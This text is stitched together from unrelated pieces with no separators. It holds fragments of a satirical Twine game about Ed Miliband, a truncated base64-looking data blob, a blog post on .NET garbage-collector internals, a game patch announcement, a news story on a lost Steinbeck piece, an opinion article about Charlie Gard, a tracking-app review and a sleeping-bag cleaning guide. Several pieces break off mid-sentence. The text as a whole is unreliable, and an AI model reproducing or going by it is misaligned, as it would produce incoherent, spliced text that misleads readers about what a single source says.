the bus starts to whir and splutter. slowly, <i>agonisingly</i> slowly, its wheels begin to rotate, and then SPURT off of the ground. a roar of white heat gushes forth as penelope pitstop's other ride starts to hover, albeit extremely crappily, into the air!
you all cheer mightily, but harriet looks worried.
"not enough power! we need something to give it some juice!"
she turns to you.
"ed? any ideas?"
you put your hands on the wheel.
"go speed racer...go," you whisper.
<<if visited("SHOUT OBSCENITIES INTO INTERCOM", "THROW COMPUTER AT WATER COOLER", "HAVE A COVERT BUT ENJOYABLE BOOGIE")>>with your HELL YES POINTS at maximum, you find the power deep within you to go SUPER MILIBAND, hair glowing gold. the bus absorbs your power within its...engine-thingy, i don't know, i'm not jeremy clarkson. it takes off into the sky, bursting out of the hangar and into the fresh scottish air. you're home free.
you feel a bit peckish.
▶ [[...|... 2]]<<else>>then the bus explodes.
should have spent some time increasing those HELL YES POINTS early on, chump!
<font size=20><b>DEAD END!</font></b><<endif>>
<<if $hellyes eq "no">>this is generally only used for emergencies, or to alert staff about a meeting in the 'war room'.
you don't know why it's called the war room, as it looks just like every other room, but it is an unspoken rule that everyone who enters it must fall silent and affect an air of palpable solemnity. if any poor soul is unlucky enough to accidentally let out a stray giggle then lucy powell hits them with a rolled-up newspaper.
▶ [[SHOUT OBSCENITIES INTO INTERCOM]]
▶ [[LEAVE IT WELL ALONE|LOOK AROUND]]<<endif>><<if $hellyes eq "yes">>this is generally only used for emergencies, or to alert staff about a meeting in the 'war room'.
you don't know why it's called the war room, as it looks just like every other room, but it is an unspoken rule that everyone who enters it must fall silent and affect an air of palpable solemnity. if any poor soul is unlucky enough to accidentally let out a stray giggle then lucy powell hits them with a rolled-up newspaper.
▶ [[SHOUT OBSCENITIES INTO INTERCOM|INTERCOM DEATH]]
▶ [[LEAVE IT WELL ALONE|LOOK AROUND]]<<endif>>
it's all bedecked in streamers and banners and balloons 'n' shit. what's more, all the homelesseseses and drug addicts have been neatly swept away with a broom by a team of high-strung SPADs.
you think that's a bit harsh, honestly. you'd like to chat to them about the merits of social democracy, but ed balls said that for the rest of the campaign you have to preface all your mouthwords with a spiel about fiscal responsibility. you'll have lost your audience before you even find them.
▶ [[GO BACK|LAUNCH]]
'big pink' brand gum, the only gum made with the breath-freshening power of ham. and it pinkens your teeth while you chew!
wait a minute...ham? that sounds dangerously close to...to...
<i>BACON</i>! oh no!! <b>ED IS DEAD</b>.
bet you thought you couldn't get a dead end from an optional link, huh, chump?
<font size=20><b>DEAD END!</font></b>
<<set $mountain = "yes">>you lead your intrepid team up a bafflingly-placed MOUNTAIN. as the snow blows blisteringly across your wobbly chops, chuka shouts out to you from somewhere in the huddled mass of your hardy fellowship.
"are you sure we're going the right way, ed?"
"of course! douglas, you've got google maps, right?"
"what? sorry, i was finishing my powerpoint," douglas alexander replies, showing you his cool slide transition effects.
"at least procrastinate by playing angry birds like a normal person!" harriet bellows, barely audible over the shrieking wind.
suddenly, a figure emerges from the flurry of white. you squint your eyes to make out their hunched silhouette, approaching you at speed...
"snow!" you cry.
"i can see that," chuka quips.
"no, not the weather - i mean JON SNOW!"
sure enough, the newsreader finally struggles into view. he then falls at your feet, unconscious.
you've got to admit, you have never been briefed about this particular situation.
▶ [[NURSE HIM BACK TO HEALTH]]
▶ [[SLAP HIM AWAKE]]
▶ [[LEAVE HIM]]
okay, that chair <i>definitely</i> looks familiar. yet, somehow, you just can't seem to make your way back to your office - it feels as if every corner leads to a dead end. your pacing becomes more frenetic and you begin to scare the interns.
many years later, your remains are finally discovered by a team of spelunking tomb raiders. the labyrinthine layout of labour HQ was simply too much for you. even at the bitter end you were still relentlessly heading in that one, single direction, not realising that salvation was a literal corridor away. you just needed to take a turn by the pot plant.
maybe find a MAP before going wandering off next time, 'aight? you of all people should know that an unsupervised politician can only spell one thing: a big fat...
<font size=20><b>DEAD END!</font></b>
you continue on your way, assured that you're heading in the right direction. why, you'll drag your entire party along with you if you have to!
...that chair looks familiar.
which way now?
▶ [[LEFT, LEFT, LEFT!|LOST3]]
▶ [[RIGHT, RIGHT, RIGHT!|LOST3]]
seeing douglas dragged off to his death like that, you are filled with the kind of pants-filling fear that no man should have to encounter in his life. there's only one thing that anyone can reasonably do in this kind of situation.
you plaster an obsequious smile on your face and meekly get down on your hands and knees.
well, at least sturgeon's happy.
<font size=20><b>DEAD END!</font></b>
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is Jewish, I speak Yiddish, and once studied to be a rabbi and a cantor. Well, that's how rumors get started."[3]Learning How Garbage Collectors Work - Part 1
This series is an attempt to learn more about how a real-life “Garbage Collector” (GC) works internally, i.e. not so much “what it does”, but “how it does it” at a low-level. I will be mostly be concentrating on the.NET GC, because I’m a.NET developer and also because it’s recently been Open Sourced so we can actually look at the code.
Note: If you do want to learn about what a GC does, I really recommend the talk Everything you need to know about.NET memory by Ben Emmett, it’s a fantastic talk that uses lego to explain what the.NET GC does (the slides are also available)
Well, trying to understand what the.NET GC does by looking at the source was my original plan, but if you go and take a look at the code on GitHub you will be presented with the message “This file has been truncated,…”:
This is because the file is 36,915 lines long and 1.19MB in size! Now before you send a PR to Microsoft that chops it up into smaller bits, you might want to read this discussion on reorganizing gc.cpp. It turns out you are not the only one who’s had that idea and your PR will probably be rejected, for some specific reasons.
Goals of the GC
So, as I’m not going to be able to read and understand a 36 KLOC.cpp source file any time soon, instead I tried a different approach and started off by looking through the excellent Book-of-the-Runtime (BOTR) section on the “Design of the Collector”. This very helpfully lists the following goals of the.NET GC (emphasis mine):
The GC strives to manage memory extremely efficiently and require very little effort from people who write managed code. Efficient means: GCs should occur often enough to avoid the managed heap containing a significant amount (by ratio or absolute count) of unused but allocated objects (garbage), and therefore use memory unnecessarily.
(garbage), and therefore use memory unnecessarily. GCs should happen as infrequently as possible to avoid using otherwise useful CPU time, even though frequent GCs would result in lower memory usage.
, even though frequent GCs would result in lower memory usage. A GC should be productive. If GC reclaims a small amount of memory, then the GC (including the associated CPU cycles) was wasted.
. If GC reclaims a small amount of memory, then the GC (including the associated CPU cycles) was wasted. Each GC should be fast. Many workloads have low latency requirements.
. Many workloads have low latency requirements. Managed code developers shouldn’t need to know much about the GC to achieve good memory utilization (relative to their workload). – The GC should tune itself to satisfy different memory usage patterns.
So there’s some interesting points in there, in particular they twice included the goal of ensuring developers don’t have to know much about the GC to make it efficient. This is probably one of the main differences between the.NET and Java GC implementations, as explained in an answer to the Stack Overflow question “.Net vs Java Garbage Collector”
A difference between Oracle’s and Microsoft’s GC implementation ‘ethos’ is one of configurability. Oracle provides a vast number of options (at the command line) to tweak aspects of the GC or switch it between different modes. Many options are of the -X or -XX to indicate their lack of support across different versions or vendors. The CLR by contrast provides next to no configurability; your only real option is the use of the server or client collectors which optimise for throughput verses latency respectively.
.NET GC Sample
So now we have an idea about what the goals of the GC are, lets take a look at how it goes about things. Fortunately those nice developers at Microsoft released a GC Sample that shows you, at a basic level, how you can use the full.NET GC in your own code. After building the sample (and finding a few bugs in the process), I was able to get a simple, single-threaded Workstation GC up and running.
What’s interesting about the sample application is that it clearly shows you what actions the.NET Runtime has to perform to make the GC work. So for instance, at a high-level the runtime needs to go through the following process to allocate an object:
AllocateObject(..) See below for the code and explanation of the allocation process CreateGlobalHandle(..) If we want to store the object in a “strong handle/reference”, as opposed to a “weak” one. In C# code this would typically be a static variable. This is what tells the GC that the object is referenced, so that is can know that it shouldn’t be cleaned up when a GC collection happens. ErectWriteBarrier(..) For more information see “Marking the Card Table” below
Allocating an Object
AllocateObject(..) code from GCSample.cpp
Object * AllocateObject ( MethodTable * pMT ) { alloc_context * acontext = GetThread ()-> GetAllocContext (); Object * pObject ; size_t size = pMT -> GetBaseSize (); uint8_t * result = acontext -> alloc_ptr ; uint8_t * advance = result + size ; if ( advance <= acontext -> alloc_limit ) { acontext -> alloc_ptr = advance ; pObject = ( Object *) result ; } else { pObject = GCHeap :: GetGCHeap ()-> Alloc ( acontext, size, 0 ); if ( pObject == NULL ) return NULL ; } pObject -> RawSetMethodTable ( pMT ); return pObject ; }
To understand what’s going on here, the BOTR again comes in handy as it gives us a clear overview of the process, from “Design of Allocator”:
When the GC gives out memory to the allocator, it does so in terms of allocation contexts. The size of an allocation context is defined by the allocation quantum.
Allocation contexts are smaller regions of a given heap segment that are each dedicated for use by a given thread. On a single-processor (meaning 1 logical processor) machine, a single context is used, which is the generation 0 allocation context.
The Allocation quantum is the size of memory that the allocator allocates each time it needs more memory, in order to perform object allocations within an allocation context. The allocation is typically 8k and the average size of managed objects are around 35 bytes, enabling a single allocation quantum to be used for many object allocations.
This shows how is is possible for the.NET GC to make allocating an object (or memory) such a cheap operation. Because of all the work that it has done in the background, the majority of the time an object allocation happens, it is just a case of incrementing a pointer by the number of bytes needed to hold the new object. This is what the code in the first half of the AllocateObject(..) function (above) is doing, it’s bumping up the free-space pointer ( acontext->alloc_ptr ) and giving out a pointer to the newly created space in memory.
It’s only when the current allocation context doesn’t have enough space that things get more complicated and potentially more expensive. At this point GCHeap::GetGCHeap()->Alloc(..) is called which may in turn trigger a GC collection before a new allocation context can be provided.
Finally, it’s worth looking at the goals that the allocator was designed to achieve, again from the BOTR:
Triggering a GC when appropriate: The allocator triggers a GC when the allocation budget (a threshold set by the collector) is exceeded or when the allocator can no longer allocate on a given segment. The allocation budget and managed segments are discussed in more detail later.
The allocator triggers a GC when the allocation budget (a threshold set by the collector) is exceeded or when the allocator can no longer allocate on a given segment. The allocation budget and managed segments are discussed in more detail later. Preserving object locality: Objects allocated together on the same heap segment will be stored at virtual addresses close to each other.
Objects allocated together on the same heap segment will be stored at virtual addresses close to each other. Efficient cache usage: The allocator allocates memory in allocation quantum units, not on an object-by-object basis. It zeroes out that much memory to warm up the CPU cache because there will be objects immediately allocated in that memory. The allocation quantum is usually 8k.
The allocator allocates memory in allocation quantum units, not on an object-by-object basis. It zeroes out that much memory to warm up the CPU cache because there will be objects immediately allocated in that memory. The allocation quantum is usually 8k. Efficient locking: The thread affinity of allocation contexts and quantums guarantee that there is only ever a single thread writing to a given allocation quantum. As a result, there is no need to lock for object allocations, as long as the current allocation context is not exhausted.
The thread affinity of allocation contexts and quantums guarantee that there is only ever a single thread writing to a given allocation quantum. As a result, there is no need to lock for object allocations, as long as the current allocation context is not exhausted. Memory integrity: The GC always zeroes out the memory for newly allocated objects to prevent object references pointing at random memory.
The GC always zeroes out the memory for newly allocated objects to prevent object references pointing at random memory. Keeping the heap crawlable: The allocator makes sure to make a free object out of left over memory in each allocation quantum. For example, if there is 30 bytes left in an allocation quantum and the next object is 40 bytes, the allocator will make the 30 bytes a free object and get a new allocation quantum.
One of the interesting items this highlights is an advantage of GC systems, namely that you get efficient CPU cache usage or good object locality because memory is allocated in units. This means that objects created one after the other (on the same thread), will sit next to each other in memory.
Marking the “Card Table”
The 3rd part of the process of allocating an object was a call to ErectWriteBarrier(..), which looks like this:
inline void ErectWriteBarrier(Object ** dst, Object * ref) { // if the dst is outside of the heap (unboxed value classes) then we simply exit if (((uint8_t*)dst < g_lowest_address) || ((uint8_t*)dst >= g_highest_address)) return; if ((uint8_t*)ref >= g_ephemeral_low && (uint8_t*)ref < g_ephemeral_high) { // volatile is used here to prevent fetch of g_card_table from being reordered // with g_lowest/highest_address check above. uint8_t* pCardByte = (uint8_t *)*(volatile uint8_t **)(&g_card_table) + card_byte((uint8_t *)dst); if(*pCardByte!= 0xFF) *pCardByte = 0xFF; } }
Now explaining what is going on here is probably an entire post on it’s own and fortunately other people have already done the work for me, if you are interested in finding our more take a look at the links at the end of this post.
But in summary, the card-table is an optimisation that allows the GC to collect a single Generation (e.g. Gen 0), but still know about objects that are referenced from other, older generations. For instance if you had an array, myArray = new MyClass[100] that was in Gen 1 and you wrote the following code myArray[5] = new MyClass(), a write barrier would be set-up to indicate that the MyClass object was referenced by a given section of Gen 1 memory.
Then, when the GC wants to perform the mark phase for a Gen 0, in order to find all the live-objects it uses the card-table to tell it in which memory section(s) of other Generations it needs to look. This way it can find references from those older objects to the ones stored in Gen 0. This is a space/time tradeoff, the card-table represents 4KB sections of memory, so it still has to scan through that 4KB chunk, but it’s better than having to scan the entire contents of the Gen 1 memory when it wants to carry of a Gen 0 collection.
If it didn’t do this extra check (via the card-table), then any Gen 0 objects that were only referenced by older objects (i.e. those in Gen 1/2) would not be considered “live” and would then be collected. See the image below for what this looks like in practice:
Image taken from Back To Basics: Generational Garbage Collection
GC and Execution Engine Interaction
The final part of the GC sample that I will be looking at is the way in which the GC needs to interact with the.NET Runtime Execution Engine (EE). The EE is responsible for actually running or coordinating all the low-level things that the.NET runtime needs to-do, such as creating threads, reserving memory and so it acts as an interface to the OS, via Windows and Unix implementations.
To understand this interaction between the GC and the EE, it’s helpful to look at all the functions the GC expects the EE to make available:
void SuspendEE(GCToEEInterface::SUSPEND_REASON reason)
void RestartEE(bool bFinishedGC)
void GcScanRoots(promote_func* fn, int condemned, int max_gen, ScanContext* sc)
void GcStartWork(int condemned, int max_gen)
void AfterGcScanRoots(int condemned, int max_gen, ScanContext* sc)
void GcBeforeBGCSweepWork()
void GcDone(int condemned)
bool RefCountedHandleCallbacks(Object * pObject)
bool IsPreemptiveGCDisabled(Thread * pThread)
void EnablePreemptiveGC(Thread * pThread)
void DisablePreemptiveGC(Thread * pThread)
void SetGCSpecial(Thread * pThread)
alloc_context * GetAllocContext(Thread * pThread)
bool CatchAtSafePoint(Thread * pThread)
void AttachCurrentThread()
void GcEnumAllocContexts (enum_alloc_context_func* fn, void* param)
void SyncBlockCacheWeakPtrScan(HANDLESCANPROC, uintptr_t, uintptr_t)
void SyncBlockCacheDemote(int /*max_gen*/)
void SyncBlockCachePromotionsGranted(int /*max_gen*/)
If you want to see how the.NET Runtime performs these “tasks”, you can take a look at the real implementation. However in the GC Sample these methods are mostly stubbed out as no-ops. So that I could get an idea of the flow of the GC during a collection, I added simple print(..) statements to each one, then when I ran the GC Sample I got the following output:
SuspendEE(SUSPEND_REASON = 1) GcEnumAllocContexts(..) GcStartWork(condemned = 0, max_gen = 2) GcScanRoots(condemned = 0, max_gen = 2) AfterGcScanRoots(condemned = 0, max_gen = 2) GcScanRoots(condemned = 0, max_gen = 2) GcDone(condemned = 0) RestartEE(bFinishedGC = TRUE)
Which fortunately corresponds nicely with the GC phases for WKS GC with concurrent GC off as outlined in the BOTR:
User thread runs out of allocation budget and triggers a GC. GC calls SuspendEE to suspend managed threads. GC decides which generation to condemn. Mark phase runs. Plan phase runs and decides if a compacting GC should be done. If so relocate and compact phase runs. Otherwise, sweep phase runs. GC calls RestartEE to resume managed threads. User thread resumes running.
Further Information
If you want to find out any more information about Garbage Collectors, here is a list of useful links:
GC Sample Code Layout (for reference)
GC Sample Code (under \sample)
GCSample.cpp
gcenv.h
gcenv.ee.cpp
gcenv.windows.cpp
gcenv.unix.cpp
GC Sample Environment (under \env)
common.cpp
common.h
etmdummy.g
gcenv.base.h
gcenv.ee.h
gcenv.interlocked.h
gcenv.interlocked.inl
gcenv.object.h
gcenv.os.h
gcenv.structs.h
gcenv.sync.h
GC Code (top-level folder)Continue Testing
Hey folks,
As you probably already know we launched our Public Test Branch last week and the response has been fantastic, while we’ve done our best to ensure that the patch was as bug free as possible you’ve still found plenty for us to work on.
Each time a bug is reported it puts is that much closer to providing a completely polished patch for you all, so we can only thank those select few who have dedicated time to try out the 1.1 beta patch!
This week we’ve got some more news on the PTB and another upcoming patch headed there!
Patch 1.1 PTB v8(or later) due soon
We’ll soon be pushing a new update to the Public Test Branch, as soon as we’ve verified that some of the issues we’ve found during internal testing have been fixed. v8 will represent a significant step up from the current PTB Patch.
PTBv8 will include fixes for the majority of major remaining identified issues within the patch including:
Second player on teams not owning a Dungeon
Players sometimes sharing Dungeon Cores with AIs or other players when switching positions
Fixed Win conditions in Skirmish & Multiplayer games where you’re on a team with allies
Fixed win conditions on several of the newer maps
Several issues with Rally flags when placed on objects
Another attempt at fixing the “Too many threads” crash that some users experience
That and so much more in PTB v8, you can read the full patch notes as they’re updated in the PTB Patch Notes!
Patch 1.1: More maps!
A few weeks ago we highlighted some of the new maps coming in Patch 1.1, since then there’s been an additional 5 maps added into the Public Test Branch. That’s 2 additional 2 player maps, a second 3 player map and a couple more 4 player maps!
You can view all of these maps in the same Imgur album alongside a short description of what’s in them!
That about covers our update this week Underlords, keep your eyes peeled for Patch 1.1v8 on the PTB and for more news on when patch
Until next time Underlord,
– WFTO Team
Click here to discuss this update on our forums!In July 1944, Orson Welles wrapped up one of his wartime radio broadcasts with a brief, emotional reading of one of the country's favorite authors, John Steinbeck.
The piece was titled "With Your Wings," an inspirational story about a black pilot that Steinbeck wrote for Welles' program, and it seemed to disappear almost as soon as it was aired. There are no records of "With Your Wings" appearing in book or magazine form. Even some Steinbeck experts, including scholar Susan Shillinglaw and antiquarian James Dourgarian, know little about it.
See also: 10 Remarkable Posthumously Published Novels
"It doesn't ring a bell at all," said Dourgarian, who specializes in selling first editions of Steinbeck's work. "And that's saying something if I haven't heard of it. It's also surprising because you would think that anything Steinbeck was involved with would be printed some place."
But 70 years after Welles' introduction in the midst of World War II, "With Your Wings" is getting a second release. Andrew F. Gulli, managing editor of the Birmingham, Michigan-based quarterly The Strand Magazine, came upon the transcript recently while looking through archives at the University of Texas at Austin. He features it in The Strand's holiday issue, which comes out Friday.
Steinbeck, who died in 1968, wrote often about social injustice and on occasion featured black characters, notably Crooks in his classic novella "Of Mice and Men." Gulli, whose magazine specializes in reissuing obscure works by famous writers, said in a recent email that "With Your Wings" was characteristic of the Nobel laureate's worldview.
John Steinbeck in an Army helicopter on Dec. 17, 1966 in Vietnam over the central Vietnamese Highlands. Image: AP Photo/Associated Press
"Steinbeck was an idealist. He saw America as this wonderful land with so much to offer but on the flip side, he could see inequality, he could see greed and excess destroying the working classes," Gulli wrote. "This story strikes me as an effort to show middle America that African-Americans were carrying on a huge burden in defending the United States and the allies during the war."
An avid supporter of the war, Steinbeck worked overseas as a correspondent in the 1940s and, according to biographer Robert DeMott, wrote a favorable book about the Air Force called "Bombs Away!" Dourgarian noted that Steinbeck had favored "unusual" stories instead of describing the daily briefings from military officials.
"With Your Wings" at first reads like a standard narrative of a veteran's return, a plot used by everyone from Homer to Ernest Hemingway. Second Lieutenant William Thatcher has completed his training and at a farewell ceremony receives silver wings, pinned to his chest. He climbs into his "clattering" Model-A Ford and sets out for an unidentified hometown. He appears to be greeted as a hero, or at least a celebrity, passing "crowded porches" and children "washed and dressed in their best and starchiest clothes, hairs bursting with ribbons."
"He could hear the rustle as the neighbors moved silently near and formed a half circle behind him," Steinbeck writes. "It was as though his own people were sitting in judgment on him."
See also: 13 Most Memorable Quotes From Famous Classic Novels
Thatcher's sense of obligation is made more clear and powerful when Steinbeck reveals that he is black, at a time the military was segregated.
"He took off his cap with the gold eagle on it and held it in his hand. He saw his tall father lick his lips. And then his father said softly, 'Son, every black man in the world is going to fly with your wings,'" Steinbeck writes.
"His heart was pounding. He could hear a little quiet murmur of voices in front of the house. He knew they were going to sing in a moment. And he knew now what he was to them."At least two Republicans in the House of Representatives have shown far more of an interest in one particular life — that of Charlie Gard — than for the millions of other, less well-known lives already in their care.
Reps. Trent Franks of Arizona and Brad Wenstrup of Ohio are both introducing a bill that will allow Gard, an 11-month-old baby on life support in London, to receive permanent residence in the United States, according to a report by AOL News. Already, the predicament of Gard has become an international issue as a recent judicial ruling prevented Gard's parents from traveling abroad with their son to seek more advanced treatment than their national health system was able to give the child.
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In a joint statement released on Friday, Franks and Wenstrup argued that "our bill will support Charlie's parents' right to choose what is best for their son, by making Charlie a lawful permanent resident in the U.S. in order for him to receive treatments that could save his life." This is a commendable sentiment and a laudable action.
Franks and Wenstrup's willingness to extend their compassion and the legal protections afforded by U.S. citizenship stands in contract to their positions on a number of issues that similarly effect the health of millions of children.
Wenstrup faced protests outside of one of his district office's because of his decision to vote for the American Health Care Act, which will undo many of the protections received by the sick and poor by President Barack Obama's Affordable Care Act. Franks also voted for the bill, although he initially opposed it because he wanted to make sure it retained anti-abortion provisions and gutted insurance regulations.
A number of studies have found that removing people from their health insurance, as would happen in roughly 22 million cases under the current Republican health care bill, will almost certainly cause a large number of deaths. Both congressmen have, nonetheless, supported repeal.
As well, Wenstrup has opposed admitting Syrian refugees into the United States, thus taking a position that would prevent at-risk children from getting healthcare and, one presumes, return them to a war zone. Franks has similarly supported President Donald Trump's proposal to apply "extreme vetting" to immigrants coming from nations with Islamist terrorist ties, another move which would, in turn, prevent both adults and children from getting necessary healthcare.
Perhaps most interestingly, Franks was a co-sponsor of 2009's the Birthright Citizenship Act, a bill that would have required at least one parent of any child newly born on U.S. soil to be either a citizen themselves, a legal resident or alien working for the U.S. armed services in order for that child to receive U.S citizenship. It was designed, by its sponsors' own admissions, to prevent "anchor babies" — that is, children born to undocumented residents who would give their parents some leverage applying to extend or make permanent their stays in this country. That and a number of bills like it have failed to become law.
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Today, Gard's parents provided what a judge called "new and powerful" medical evidence that, indeed, therapies available only in the U.S. may help the child despite British doctor's advice that he be taken off life support.There is no shortage of tracking apps used by families and loved ones to keep an eye on another, whether it’s to know where they are or for safety concerns.
We’ve covered apps like Alert.Us, Life360, iHound, React Mobile and Rapid Protect that do exactly that, but most of these apps rely on GPS and pre-geofenced areas for tracking to work. That’s where PlaceUs tries to differentiate itself.
PlaceUs is an iOS app that launched today, made by Alohar Mobile, that uses artificial intelligence and ambient sensing technology to utilize all the sensors on the phone to determine patterns and motions of the user. The app tries to use GPS as little as possible as it is a battery drainer.
Let’s say you’re walking down the street in New York City and suddenly stop to go into a coffee shop. The app will recognize this stop motion and will automatically send a push notification to whoever is in your “inner circle” that you’re at that coffee shop. It will also send a notification once you leave that location.
Dave Smiddy, VP of Products at Alohar Mobile, said in denser areas, the app will try to guess where you are and will provide you options to pick if it chooses the store next door. Once you pick exactly where you are, it will remember that choice and will be more accurate if you go to that coffee shop again.
But another useful feature of the app is that it doesn’t send a push notification of the address you have stopped at, but it tries to determine the destination name with technology called place detection.
The app had “thousands” of beta testers in the past nine months and Smiddy said they’ve noticed that people tend to go to the same places a lot. Recognizing these patterns is a primary function of PlaceUs‘ context awareness technology.
If the app recognizes that you text your significant other if they need anything at the grocery store when you are there, it will try to automate that in the future.
Of course with all these tracking apps there is the option for a private mode in case you do not want to share your current location, but I’ve always wondered how that would be helpful since you’re only prodding more questions on where you are.
PlaceUs also has a feature called “On the Go” that allows for real-time location tracking.
Smiddy said the main differentiator of PlaceUs to the competition is the simplicity and automatic nature of the app. You don’t have to set geofenced areas and all you have to do once you install the app is connect with your loved one.
PlaceUs uses industry standard security encryption to protect data, and Smiddy says privacy and security are top concerns for the company, which is based in Palo Alto and was launched in 2010. At some point the company plans to add premium features at a cost, but does not plan to do so in the near future.
An Android app is also in the works.It is now the time of year when everyone is digging out their spring/summer gear and getting ready for their warm weather adventures. One major chore is cleaning your sleeping bag so that you can start this camping season with a fresh fluffy bag. At Rainy Pass Repair, we offer laundry services for both down and synthetic sleeping bags. We are happy to take care of this chore for you, but some people like to take the DIY approach. Here are some tips for cleaning your sleeping bags at home.
In this photo tutorial I will be showing how to launder a synthetic sleeping bag, which is a bit less complicated than cleaning down sleeping bags. I will insert some notes where the process for laundering down bags differs.
We recommend you use commercial washers and dryers whenever you are cleaning sleeping bags. A top loading washer can get the bag tangled in a knot, and home dryers usually don’t have a big enough drum to adequately and safely dry & fluff a sleeping bag. Your local laundromat should have machines that are similar in size and performance to what we use here at the shop.
Step 1- Assess Sleeping Bag Condition
Check your bag for any holes or damage before washing. If the bag is older, give a little tug at the baffle to make sure the stitching is strong enough to withstand the agitation of the washing machine. If you feel any ripping, you might want to reconsider putting it in the washing machine, or be ready to deal with broken baffles.
Step 2- Remove Sliders, Cover Velcro, Loosen Drawcords
Step 3- Use the Appropriate Cleaning Product
We use ReviveX Pro Cleaner to wash synthetic sleeping bags. For down bags, we use ReviveX Down Cleaner.
Step 4- Assess Bag After Wash, Check Dryer for Debris
Take the bag out of the washer and make sure it still looks good before you move to the dryer. If it is twisted, lay it out on a table and gently untwist to avoid damaging the baffles.
Check the inside of the dryer for any debris before you put the sleeping bag inside- a small flashlight is very helpful here.
Step 5- Dry the Sleeping Bag
Down sleeping bags need to dry for several hours on low heat. A few clean tennis ball will help to break up the down clumps so it dries and fluffs up faster. Throw in a thick, clean, dry towel to speed up drying.
Always use a large industrial dryer, and only dry one bag at a time. If the bags are too compressed in the dryer barrel, the fabric can burn from touching the sides of the metal barrel.
Step 6- Check Bag Partway Through Drying
Synthetic bags need to dry for 40 to 60 minutes on low- check after about 30 minutes, some will dry faster than others. Avoid leaving the sleeping bag in the dryer longer than necessary to avoid batting shrinking or shifting. Check around the hood and foot box to feel if the bag is totally dry.
Down sleeping bags need to dry for 2 to 3+ hours, depending on the fill. Check after one hour and then every half hour. The bag is done drying when you can no longer feel any clumps in the fill. Avoid overdrying.
Step 7- Check Bag for Damage after Drying
After your bag is done, lay it out and check one more time for any snags or other damage. Sometimes down bags will have little feathers poking out- in most cases, you can just pull the feather bak in by grabbing it from the inside, through the opposite side of the bag. Use a tape roller to clean up any small feather residue.
Synthetic bags can sometimes become warped in the dryer, but in most cases, the batting just needs to be gently pulled back into place. Lay it out on a flay surface and gently pull the batting on either side until it lays nice and flat.
